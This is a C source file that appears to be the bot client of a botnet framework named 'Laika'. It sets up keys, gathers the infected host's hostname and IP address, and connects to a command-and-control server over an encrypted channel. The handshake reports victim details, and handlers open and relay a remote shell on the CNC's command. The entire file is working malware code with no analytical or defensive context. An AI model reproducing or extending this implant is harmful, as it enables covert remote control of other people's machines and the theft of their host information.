#include "lmem.h" #include "lsodium.h" #include "lerror.h" #include "bot.h" #include "shell.h" void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { struct sLaika_bot *bot = (struct sLaika_bot*)uData; uint8_t endianness = laikaS_readByte(&peer->sock); peer->sock.flipEndian = endianness != laikaS_isBigEndian(); LAIKA_DEBUG("handshake accepted by cnc! got endian flag : %s\n", (endianness ? "TRUE" : "FALSE")); } /* =============================================[[ Packet Tables ]]============================================== */ struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = { LAIKA_CREATE_PACKET_INFO(LAIKAPKT_HANDSHAKE_RES, laikaB_handleHandshakeResponse, sizeof(uint8_t), false), LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_OPEN, laikaB_handleShellOpen, sizeof(uint16_t) + sizeof(uint16_t), false), LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_CLOSE, laikaB_handleShellClose, 0, false), LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA, laikaB_handleShellData, 0, true), }; /* socket event */ void laikaB_onPollFail(struct sLaika_socket *sock, void *uData) { struct sLaika_peer *peer = (struct sLaika_peer*)sock; struct sLaika_bot *bot = (struct sLaika_bot*)uData; laikaS_kill(&bot->peer->sock); } /* ==================================================[[ Bot ]]=================================================== */ struct sLaika_bot *laikaB_newBot(void) { struct sLaika_bot *bot = laikaM_malloc(sizeof(struct sLaika_bot)); struct hostent *host; char *tempINBuf; size_t _unused; bot->shell = NULL; laikaP_initPList(&bot->pList); bot->peer = laikaS_newPeer( laikaB_pktTbl, &bot->pList, laikaB_onPollFail, (void*)bot, (void*)bot ); /* generate keypair */ if (sodium_init() < 0) { laikaB_freeBot(bot); LAIKA_ERROR("LibSodium failed to initialize!\n"); } if (!laikaK_genKeys(bot->pub, bot->priv)) { laikaB_freeBot(bot); LAIKA_ERROR("Failed to gen keypair!\n"); } /* read cnc's public key into peerPub */ if (!laikaK_loadKeys(bot->peer->peerPub, NULL, LAIKA_PUBKEY, NULL)) { laikaB_freeBot(bot); LAIKA_ERROR("Failed to init cnc public key!\n"); } /* grab hostname & ip info */ if (SOCKETERROR(gethostname(bot->peer->hostname, LAIKA_HOSTNAME_LEN))) { laikaB_freeBot(bot); LAIKA_ERROR("gethostname() failed!\n"); } if ((host = gethostbyname(bot->peer->hostname)) == NULL) { laikaB_freeBot(bot); LAIKA_ERROR("gethostbyname() failed!\n"); } if ((tempINBuf = inet_ntoa(*((struct in_addr*)host->h_addr_list[0]))) == NULL) { laikaB_freeBot(bot); LAIKA_ERROR("inet_ntoa() failed!\n"); } /* copy inet address info */ strcpy(bot->peer->inet, tempINBuf); return bot; } void laikaB_freeBot(struct sLaika_bot *bot) { int i; laikaP_cleanPList(&bot->pList); laikaS_freePeer(bot->peer); /* clear shell */ if (bot->shell) laikaB_freeShell(bot, bot->shell); laikaM_free(bot); } void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) { struct sLaika_socket *sock = &bot->peer->sock; /* setup socket */ laikaS_connect(sock, ip, port); laikaS_setNonBlock(sock); laikaP_addSock(&bot->pList, sock); /* queue handshake request */ laikaS_startOutPacket(bot->peer, LAIKAPKT_HANDSHAKE_REQ); laikaS_write(sock, LAIKA_MAGIC, LAIKA_MAGICLEN); laikaS_writeByte(sock, LAIKA_VERSION_MAJOR); laikaS_writeByte(sock, LAIKA_VERSION_MINOR); laikaS_writeByte(sock, LAIKA_OSTYPE); laikaS_write(sock, bot->pub, sizeof(bot->pub)); /* write public key */ laikaS_write(sock, bot->peer->hostname, LAIKA_HOSTNAME_LEN); laikaS_write(sock, bot->peer->inet, LAIKA_INET_LEN); laikaS_endOutPacket(bot->peer); laikaS_setSecure(bot->peer, true); /* after the cnc receives our handshake, our packets will be encrypted */ if (crypto_kx_client_session_keys(bot->peer->inKey, bot->peer->outKey, bot->pub, bot->priv, bot->peer->peerPub) != 0) LAIKA_ERROR("failed to gen session key!\n"); } bool laikaB_poll(struct sLaika_bot *bot, int timeout) { struct sLaika_pollEvent *evnt; int numEvents; /* flush any events prior (eg. made by a task) */ laikaP_flushOutQueue(&bot->pList); evnt = laikaP_poll(&bot->pList, timeout, &numEvents); if (numEvents == 0) /* no events? timeout was reached */ return false; laikaP_handleEvent(evnt); /* flush any events after (eg. made by a packet handler) */ laikaP_flushOutQueue(&bot->pList); return true; }